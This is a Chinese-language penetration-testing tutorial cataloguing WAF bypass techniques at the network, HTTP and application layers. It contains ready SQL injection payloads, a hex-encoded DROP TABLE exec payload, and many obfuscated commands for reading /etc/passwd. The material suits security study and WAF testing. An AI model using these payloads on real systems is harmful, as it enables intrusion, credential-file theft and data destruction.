web滲透--64--常見的WAF繞過方法

本篇文章通過網絡架構層HTTP協議層第三方應用層講解了繞過WAF的常見方法

一、網絡架構層

一般通過域名指向雲WAF地址後反向實現代理,找到這些公司的服務器的真實IP即可實現繞過。

具體方法如下:

1、查找相關的二級域名及同一域名註冊者的其他域名解析記錄。

2、通過查看郵件MX解析記錄來發現真實服務器的IP記錄或網段,例如:

windows可以執行命令:

nslookup -qt=mx baidu.com

Linux可以執行如下命令來查看baidu.com域名的MX解析IP地址

dig mx baidu.com

3、查看域名的歷史解析記錄。實現該操作的網站:

https://securitytrails.com/

4、使用zmap等快速掃描工具對全網IP進行掃描以找到網站真實IP。

5、利用SSRF漏洞反向連接的IP獲取網站真實IP。

二、HTTP協議層

可以利用WAF、web server、web語言解析引擎這三方對標準HTTP解析的差異來實現繞過。

具體繞過的方法如下:

1、利用某些硬件WAF對SSL加密算法的支持不夠進行繞過。

參考文章:通過濫用SSL / TLS繞過Web應用程序防火牆
對應的測試腳本:abuse-ssl-bypass-waf

2、利用HTTP協議版本來進行繞過

HTTP發展至今,已由1991年的0.9版發展到2015年的2.0版,由於不支持相關協議的WAF在解析數據包時會出問題,因此通過發送不同版本協議的粘包即可繞過某些WAF。

3、利用URL編碼、charset編碼、MIME編碼等進行繞過。

IIS ASP支持類似Unicode %u0027的編碼,還會對不合法的URL編碼進行字符刪除。IIS ASP對s%elect編碼的處理結果爲select,而Nginx的ngx_unescape_uri函數對它的解碼結果爲slect。Nginx的ngx_unescape_uri函數在處理%編碼時,如果%後面的第一個字符不在十六進制範圍內,則會丟棄%;否則判斷第二個字符是否在十六進制範圍內,如果不在則會丟棄%第一個字符

HTTP請求頭Content-Typecharset編碼可以指定內容編碼,這個值一般都是UTF-8編碼的,但惡意攻擊者可以指定使用ibm037ibm500cp875ibm1026等不常用的編碼來進行繞過。例如,可以設置Content-Type頭的值爲application/x-www-form-urlencoded;charset=ibm500multipart/form-data;charset=ibm500,boundary=blah等。這裏使用Burpsuite的HTTP Request Smuggler插件可以簡化數據包的修改操作。

在Spring中,如果上傳的文件名以=?開始並以?=結束,則調用MimeDelegate.decode來對文件名解碼。MIME是郵件協議中用到的編碼方式,這裏我們可以將上傳文件名改爲=?UTF-8?B?YS5qc3A=?=,UTF-8代表字符編碼,?B?代表後面的YS5qc3A=是base64編碼的。經過Spring解碼得到的文件名是a.jsp,而一般的WAF如果之前沒有經過處理,那麼就會出現在WAF中上傳文件名過濾被繞過的問題。

4、利用對上傳協議multipart/form-data的不規範解析進行繞過。

以PHP Web Server對multipart/form-data的解析作爲例子。

由於該協議對PHP對解析存在缺陷,使得如果一行有多個filename字段值,則PHP Web Server會取最後一個filename值,如下所示:

Content-Disposition: form-data; name="file1"; filename="a.txt"; filename="a.php";

PHP Web Server最終得到的文件名是a.php,而某些WAF只判斷第一個filename的值,因此WAF對上傳的文件的過濾檢測功能會被黑客繞過,並且這裏的form-data可有可無,將其去掉也不影響PHP Web Server獲取filename

此外,filename的編碼還受HTTP請求Content-Type頭中charset的影響,PHP Web Server可以根據這個值進行解碼處理。這些都有可能被一些人稍微做點手腳,便可以繞過不少WAF的文件上傳過濾檢測功能。

5、其他協議的繞過

URI解析繞過:
有些WAF可以處理對URI不兼容的繞過,如:

GET /xxx/a.jsp?x= &id=union%20all%20select%20@@version HTTP/1.1

將HTTP原始數據包的"x="後面設置爲空格,某些硬件WAF就會忽略後面的&id=union%20all%20select%20@@version參數從而繞過WAF。

還可以利用一些較少用到的HTTP處理來繞過,例如在HTTP請求body chunked編碼時進行註釋及變形。

利用HTTP Host頭也可以繞過一些基於域名防護的WAF,一般的Host頭字符串中不包含端口信息,如":80"":443",域名也可以用本地Host來代替,可以有如下寫法:

Host: localhost:80
Host: 127.0.0.1:80

除此外,基於協議的繞過還有很多,如HPP復參繞過、參數名的特殊字符轉換繞過等。

三、第三方應用層

第三方應用層主要有數據庫、系統命令、第三方組件等組成部分。下面對這3部分的繞過進行具體說明。

1、數據庫的繞過

數據庫的繞過方式極多,有註釋繞過、編碼繞過、不同數據庫對空格的不同定義繞過等。

利用MySQL的版本號註釋(/*!)功能繞過WAF的情況最多,還有一些方法也可以繞過WAF,比如,利用0xA0代替空格也能繞過一些WAF,利用\N.e浮點等特殊用法繞過WAF(繞過一些如union的關鍵字),以及利用&&代替and等關鍵字和大括號註釋(如union select{x 1},xx)繞過WAF等。

在MySQL中,從0x010x0F的字符都可以代表空格。通過註釋加換行也可以繞過一些WAF過濾,比如,1%23%0AAND%23%0A1=1%23經過URL解碼後是#字符,#字符是MySQL中的註釋符,%0A經過URL解碼後是換行符);還有利用"."":"特殊符號進行繞過的,如:

union select xx from.table
union select:top 1 from
and:xx

另外,利用exec編碼也可以繞過關鍵字,如:

and 1=0;declare @S varchar(4000) set @S=cast(0x44524f50205441424c4520544d505f44423b as varchar(4000));exec(@S);--

更多有關數據庫的繞過可以參考sqlmap的temper插件,插件地址爲:https://github.com/sqlmapproject/sqlmap/tree/master/tamper

2、系統命令的繞過

cat /etc/passwd命令爲例,在Linux bash環境下去掉空格的寫法如下:

cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
X=$'cat\x20/etc/passwd'&&$X

ping baidu.com爲例,在windows中替換空格的寫法如下:

ping%CommonProgramFiles:~10,-18%baidu.com
ping%PROGRAMFILES:~10,-5%baidu.com

在Linux的bash環境下想要繞過關鍵字,則可以插入成對的單引號、雙引號或反引號,其中反引號必須連着寫,比如可以將cat /etc/passwd寫爲以下形式:

c'a't /etc/pass''wd
c""at /e't'c/pass""wd
c""at /e't'c/pas``s``wd

另外,也可以在shell命令的任意位置插入$@,或者在單詞結尾處插入$x,這裏的x可以是任意字母,例如可以寫成如下形式:

c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x

若通過編碼繞過關鍵字,則可以將cat /etc/passwd進行base64編碼,寫法如下:

echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh

若通過通配符繞過關鍵字,則linux bash的通配符與windows的類似,支持使用?代表單個字符和使用*代表多個字符的寫法,如/bin/cat /etc/passwd命令可以有以下寫法:

/b??/ca? /e?c/pas?wd
/b*/ca* /et*/pas*d
/b??/ca* /e?c/pas*d

除此之外,還可以通過一些腳本執行引擎,如perl、python、nodejs、php、java等來繞過WAF關鍵字,相關寫法如下:

perl -e '$a="ca";$b="t /et";$c="c/pas";exec($a.$b.$c."swd");'
python -c 'import subprocess;subprocess.call(["ca"+"t","/et"+"c/pa"+"sswd"]);'
php -r 'exec("ca"."t /et"."c/pa"."sswd");'

3、第三方組件的繞過

一般來說,WAF會用到的第三方組件有PCRE、ISAPI、Libinjection等。

PCRE在處理正則表達式時,爲了防止ReDoS正則表達式拒絕服務攻擊,提供了PCRE_EXTRA_MATCH_LIMITPCRE_EXTRA_MATCH_LIMIT_RECURSION選項來限制匹配次數。PCRE_EXTRA_MATCH_LIMIT的值默認爲100萬,PCRE_EXTRA_MATCH_LIMIT可以限制匹配的總次數;而PCRE_EXTRA_MATCH_LIMIT_RECURSION主要限制匹配遞歸次數,並不是所有匹配都存在遞歸,所以該值在小於PCRE_EXTRA_MATCH_LIMIT值時纔有意義。

有些WAF爲了防止ReDoS都會將PCRE_EXTRA_MATCH_LIMIT設置爲比默認值更小的值,加入將WAF過濾SQL語句的正則表達式寫成:

/UNION.+?SELECT/is

而此時PCRE_EXTRA_MATCH_LIMIT的值爲100萬,那麼要繞過WAF過濾防護的SQL語句可以寫成:

union/*aaa……a*/select

這裏被註釋掉的字符a有100萬個,很容易滿足PCRE_EXTRA_MATCH_LIMIT的值爲100萬的限制條件,而且這些字符的數據量大小不到1MB,不會佔用太多空間。根據此方法可以繞過很多類似的WAF正則規則。

ISAPI是IIS提供的一套編寫API的插件,ISAPI filter可以對請求頭中的數據進行過濾,ISAPI extension可以獲取請求的body數據,對應的原型爲HttpExtensionProc(EXTENSION_CONTROL_BLOCK*pECB)。這裏可以通過pECB->lpbData獲取到post請求的body部分的數據,但最大隻能存儲48kb的數據。總的大小可以通過pECB->cbTotalBytes獲取,超過48kb的數據的同步函數調用方式可以通過pECB->ReadClient(...)獲取,異步函數調用方式可以通過pECB->ServerSupportFunction(...,HSE_REQ_ASYNC_READ_CLIENT,...)獲取。

但是,這樣在ISAPI插件的WAF中讀取超過48kb的數據會導致後面的ASP獲取不了多於48kb的數據,因此很多基於ISAPI的IIS WAF都可以通過把攻擊數據放到48kb外而繞過WAF防護。如果某post參數id存在SQL注入,那麼我們可以填充48kb的無用數據後再寫注入語句,如下所示:

x=aaa...a&id=1%20union%20all%20select%201,1,1,1@@version,1

其中,上面的a字符所佔用的空間超過了48kb

Libinjection被應用於很多WAF中,知名的有modsecurity。因爲Libinjection只是對SQL語句進行標籤化(token化),然後對被標籤化的字符串進行匹配,所以同一種繞過方法通常可以繞過很多SQL注入語句的過濾規則。

利用不常用的SQL函數可以繞過Libinjection過濾,比如用mod(3,2)代替1的SQL語句可以寫爲:

mod(3,2) union select mod(3,2),usr,pwd from user --

通過使用Fuzz測試技術也可以繞過Libinjection過濾,例如插入1<@到SQL語句中可以繞過Libinjection防護,此方法也可以繞過某些WAF的SQL注入語義檢測引擎。相關的Python腳本地址爲:https://waf.ninja/libinjection-fuzz-to-bypass/

通過大括號也可以繞過Libinjection過濾,MySQL支持{identifier expr}這種兼容ODBC的轉義寫法,對應的可繞過Libinjection過濾的SQL語句如下所示:

1'<@=1 or {x (select 1)} --
1 and{`if`updatexml (1,concat (0x3a,(select /*!50000(/*!50000schema_name) from/*!50000information_schema*/.schemata limit 0,1)),1)} -- 

四、總結

總的來說,在WAF上只要善於挖掘,總能找出各式各樣的繞過方法。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章